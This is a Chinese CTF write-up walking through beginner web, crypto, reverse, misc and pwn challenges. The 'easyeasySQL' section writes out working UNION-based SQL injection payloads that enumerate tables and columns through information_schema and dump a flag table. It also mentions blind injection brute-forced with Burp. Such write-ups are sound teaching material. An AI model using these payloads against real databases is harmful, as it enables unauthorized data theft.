web

easyeasySQL

由题意sql注入题型,先输入1试试
1
再加个单引号
2
页面无回显,再尝试构造1' --(注意有个空格),提交之后回显又出来了
然后利用order by判断列数,3正常,4无回显,说明有3列
构造0' union select 1,2,3--尝试联合查询
3
联合查询可以用,然后看表名:0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--
4
目标锁定f1Ag表,构造:0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="f1Ag"--
5
已知列名表名接下来看具体内容了:0' union select 1,2,group_concat(flag) from f1Ag--
6
成功拿到flag

另外,这道题布尔盲注也可以,这里不多叙述,看几张图即可
7
由于不会脚本,用的bp进行爆破
8
最后ascii码转字符即可

linkgame

查看源码即可
13

crypto

miaomiaomiao

签到题,下载附件,用idle打开即可
9

reverse

How2Reverse

下载附件,用ida打开,搜索actf即可
10

misc

签到

复制粘贴即可
11

纳什均衡

连接上之后是一个游戏,需要连赢5局才能拿到flag,参考攻略如下:
显然,如果n=m+1,那么由于一次最多只能取m个,所以,无论先取者拿走多少个,后取者都能够一次拿走剩余的物品,后者取胜。因此我们发现了如何取胜的法则:如果n=(m+1)r+s,(r为任意自然数,s≤m),那么先取者要拿走s个物品,如果后取者拿走k(≤m)个,那么先取者再拿走m+1-k个,结果剩下(m+1)(r-1)个,以后保持这样的取法,那么先取者肯定获胜。总之,要保持给对手留下(m+1)的倍数,就能最后获胜。
即,若n=k*(m+1),则后取着胜,反之,存在先取者获胜的取法。n%(m+1)==0. 先取者必败。
奇异局势的判定

14

pwn

test_your_nc

签到题,打开kali用netcat命令连接上,ls查看目录,cat打开文件
12